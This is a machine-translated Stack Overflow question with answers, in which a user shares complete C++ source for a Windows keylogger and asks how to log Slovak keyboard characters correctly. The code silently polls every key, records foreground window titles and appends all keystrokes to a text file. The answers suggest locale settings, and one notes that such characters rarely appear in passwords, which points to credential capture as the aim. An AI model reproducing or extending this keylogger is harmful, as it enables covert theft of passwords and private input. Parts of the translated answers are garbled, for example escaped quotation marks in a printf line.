具有特殊键布局的C ++键记录器

时间:2014-04-03 06:34:36

标签: c++ c logging key

我想用C / C ++创建键盘记录器,但是,我来自斯洛伐克,我们有一些特殊字符,如ľ,š,č,ť,ž,ý,á,í......

slovak keyboard layout image

但是当按'č' - >我的keylooger检测到'4'(它在英文keyborad布局上是相同的字符)。
我该如何处理这个问题?

#include <windows.h>
#include <fstream>
#include <string>
#include <stdio.h>
#include <iostream>
#include <conio.h>

using namespace std;

string convertkey(int key){
    string keystring;
    switch(key)
      {
      case 8 :
           keystring = "[/]";
           break;
      case 13 :
           keystring = "\n";
           break;
      case 32 :
           keystring = " ";
           break;
      case 190 :
           keystring = ".";
           break;
      case 110 :
           keystring = ".";
           break;
      case VK_CAPITAL :
           keystring = "[CAPS LOCK]";
           break;
      case VK_TAB :
           keystring = "[TAB]";
           break;
      case VK_CONTROL :
           keystring = "[CONTROL]";
           break;
      case VK_ESCAPE :
           keystring = "[ESCAPE]";
           break;
      case VK_DOWN :
           keystring = "[DOWN]";
           break;
      case VK_LEFT :
           keystring = "[LEFT]";
           break;
      case VK_RIGHT :
           keystring = "[RIGHT]";
           break;
      case VK_UP :
           keystring = "[UP]";
           break;
      }
      if(key >= 96 && key <= 105)
             keystring = key-48;
      else if (key > 47 && key < 60)
             keystring = key;
      if (key != VK_LBUTTON || key != VK_RBUTTON)
        {
            if (key > 64 && key < 91)
            {
                if (GetKeyState(VK_CAPITAL) | GetAsyncKeyState(VK_SHIFT)) 
                    keystring = key;                                   //if its capital then stay                               
                else 
                {
                    key = key + 32;                     //if not shift the number to the lowercase value                                     
                    keystring = key;
                }
            }
        }
        return keystring;
}

void StoreKey(string key){
   ofstream storekey("C:\\storekey.txt", ios::app);
   storekey << key;
   cout << key;
   storekey.close();
}

void Logger()
{
     string keyinstring = "";
     int key;
     char currentwindowtitle[MAX_PATH];
     char newwindowtitle[MAX_PATH];
     GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));              
     while(true)
     {
         Sleep(5);
         for(key = 8; key <= 256; key++)
        {
             if(GetAsyncKeyState(key)&1 == 1)                                                                  
             {
                 GetWindowText(GetForegroundWindow(), currentwindowtitle, sizeof(currentwindowtitle));                        
                 if (strcmp(newwindowtitle, currentwindowtitle) != 0)                                                         
                 {    
                         ofstream storekey("C:\\storekey.txt", ios::app);
                         storekey << endl << currentwindowtitle << endl;
                         cout << endl << currentwindowtitle << endl;
                         storekey.close();
                         strcpy(newwindowtitle, currentwindowtitle);
                 }
                 keyinstring = convertkey(key);
                 StoreKey(keyinstring);                      
             }
        }
     }
}

int main(){
   Logger();
   return 1;
}

3 个答案:

答案 0 :(得分:0)

你试过setlocale(LC_ALL, "sk-SK")吗?斯洛伐克是sk-SK, 但如果函数未能设置新的语言环境,则不会修改语言环境并返回空指针。

#include <locale.h>
#include <stdio.h>
#include <time.h>

int main ()
{
   time_t currtime;
   struct tm *timer;
   char buffer[80];

   time( &currtime );
   timer = localtime( &currtime );

   printf("Locale is: %s\n", setlocale(LC_ALL, "sk-SK"));
   strftime(buffer,80,"%c", timer );
   printf("Date is: %s\n", buffer);



   return(0);
}

答案 1 :(得分:0)

printf(&#34; Locale是:%s \ n&#34;,setlocale(LC_ALL,&#34; Slovak&#34;));

输出: 地区是:Slovak_Slovakia.1250

http://msdn.microsoft.com/en-us/library/39cwe7zf(v=vs.100).aspx

答案 2 :(得分:0)

当检测到4个保存č时,制作一个开关盒。

case 32 :
keystring = "č";
break;

顺便说一句,为什么要保存那些特殊字符?我认为您不能在密码中输入这些密码。